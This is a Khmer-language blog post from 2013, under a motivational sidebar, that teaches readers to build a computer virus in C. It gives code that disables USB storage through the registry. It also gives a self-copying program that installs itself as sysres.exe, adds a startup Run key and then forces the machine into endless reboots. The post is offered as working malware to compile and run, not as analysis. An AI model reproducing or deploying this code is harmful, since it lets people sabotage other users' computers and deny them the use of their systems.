1234

2

ដំណឹង អគុណដែលបានចូលមើលទំព័រប្លកជ័យជំនះរបស់ខ្ញុំ អត្ថបទថ្មីៗ ងាយវាយតម្លៃលើកំហុសអ្នកដទៃ តែពិបាកក្នុងការមើលកំហុសរបស់ខ្លួន ។ ងាយណាស់ពេលអ្នកមានឈ្មោះនៅក្នុងបញ្ជីអាសយដ្ឋានរបស់មនុស្សម្នាក់ តែពិបាកពេលអ្នកស្វែងរកបានកន្លែងមួយនៅក្នុងបេះដូងគេ ។ ងាយក្នុងនិយាយដែលមិនបានគិតគូរ តែពិបាកក្នុងការពិនិត្យសម្ដីដែលខ្លួនបាននិយាយ ។ ងាយពេលធ្វើឲ្យប៉ះពាល់អារម្មណ៍មនុស្សម្នាក់ តែពិបាកក្នុងការផ្សះស្នាមរបួសផ្លូវចិត្ត ។ ងាយក្នុងការលើកលែងទោសដល់អ្នកដទៃ តែពិបាកពេលធ្វើឲ្យអ្នកដទៃលើកលែងទោសដល់ខ្លួន។ ងាយក្នុងការបង្កើតលក្ខខណ្ឌ តែពិបាកក្នុងអនុវត្តតាមវា ។ ងាយក្នុងការដេកយល់សប្តិ៍រាល់យប់ តែពិបាកក្នុងការអនុវត្តឲ្យបានសម្រេចតាមសុបិនដែលខ្លួនប្រាថ្នា ។ ងាយក្នុងការបង្អួតនូវជ័យជំនះ តែពិបាកក្នុងការទទួលស្គាល់បរាជ័យ ។ ងាយពេលដើរប៉ះដុំថ្មជំពប់ជើងហើយដួល តែពិបាកក្នុងការក្រោកឡើងហើយដើរទៅមុខ ។ ងាយពេលសន្យានឹងអ្នកណាម្នាក់ តែពិបាកក្នុងការធ្វើឲ្យសម្រេចនូវពាក្យសន្យានោះ ។ ងាយពេលដែលយើងនិយាយថា យើងស្រឡាញ់ តែពិបាកក្នុងការធ្វើឲ្យគេមានអារម្មណ៍យល់ឃើញបែបនេះរាល់ថ្ងៃ ។ ងាយក្នុងការរិះគន់អ្នកដទៃ តែពិបាក្នុងការកែលម្អខ្លួន ។ ងាយពេលដែលយើងធ្វើខុស តែពិបាកក្នុងការទទួលបទពិសោធពីកំហុសនោះ ។ ងាយក្នុងការក្ដៅក្រហាយព្រោះបាត់អ្វីមួយ តែពិបាកក្នុងការយកចិត្តទុកដាក់លើប្រការនោះកុំឲ្យវាបាត់ទៀត ។ ងាយក្នុងការគិតឃើញកិច្ចការអ្វីមួយ តែពិបាកពេលឈប់គិតហើយចាប់ផ្ដើមអនុវត្ត ។ ងាយក្នុងការគិតអាក្រក់អំពីមនុស្សម្នាក់ តែពិបាកក្នុងការផ្ដល់ជំនឿដល់គេ ។ ងាយក្នុងការទទួល តែពិបាកក្នុងការឲ្យ ។ ងាយក្នុងការអានប្រការទាំងនេះ តែពិបាកណាស់ក្នុងការអនុវត្តតាមវា ។ បើឱកាសមិនទាន់គោះទ្វារទេ អ្នកត្រូវគិតមកខ្លួនឯងវិញថា មានបានធ្វើទ្វារហើយឬនៅ ?

Thursday, October 3, 2013

បង្កើតមេរោគកុំព្យូទ័រ លើកម្មវិធី C++


a
បិទ USB:

#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
វានឹងឆ្លងសម្រាប់អ្នកចេះសរសេរ, Compile –> RUN (Alt+ F9 and Ctrl + F9)
បើក USB:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup
របៀបបង្កើតមេរោគ​ម៉្យាងដែលវាមានសមត្ថភាពអាច Restart កុំព្យូទ័រ ដោយខ្លួននៅពេលដែលយើងបើក។
នៅពេលដែលមេរោគនេះឆ្លង ចូលកុំព្យូទ័រណាហើយ កុំព្យូទ័រនោះតែងតែ Restart ដោយខ្លួនវាជារៀងរាល់ពេល
មានន័យថានៅពេលដែលកុំព្យូទ័រចាប់ផ្ដើម Boot គឺមេរោគវាចាប់ផ្ដើមធ្វើទុក្ខបុកម្នេញតែម្ដង។
ដោយវិធីបង្កើតវាយើងត្រូវសរសេរកូដនៅលើភាសា C
សូមផ្ដាំថា ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនមានកម្មវិធីកម្ចាត់មេរោគស្របច្បាប់ទេ សូមកុំព្យាយាមបង្កើតវាលេងអី
ព្រោះបានអនុវត្ដន៍ខូច Windows អស់មួយហើយ។
សូមអនុវត្តន៍ជាមួយកូដខាងក្រោម
#include<stdio.h>
#include<dos.h>
#include<dir.h>  
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //បញ្ជាក់ root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //បញ្ជាក់ថាទៅជាមេរោគបានឆ្លង ឬមិនទាន់ឆ្លង វានឹងតំឡើង ឬអត់
if(done==0)
{
found=1;//មានន័យថា system របស់អ្នកបានឆ្លងរួចរាល់ហើយ
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //ប្រសិនបើ System មិនទាន់បានឆ្លង
{
self=fopen(_argv[0],”rb”); //មេរោគ នឹងដំណើរការដោយខ្លួនឯង
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //កន្លែងចម្លងខ្លួនដោយខ្លួនវាផ្ទាល់
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //ដាក់ file  registry សម្រាប់ starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //ប្រសិន system ត្រូវបានឆ្លងរួចហើយវានឹងដំណើរ command  restart

No comments:

Post a Comment

1111

ផ្កាយរណប

22

122

22t

Ezecom

23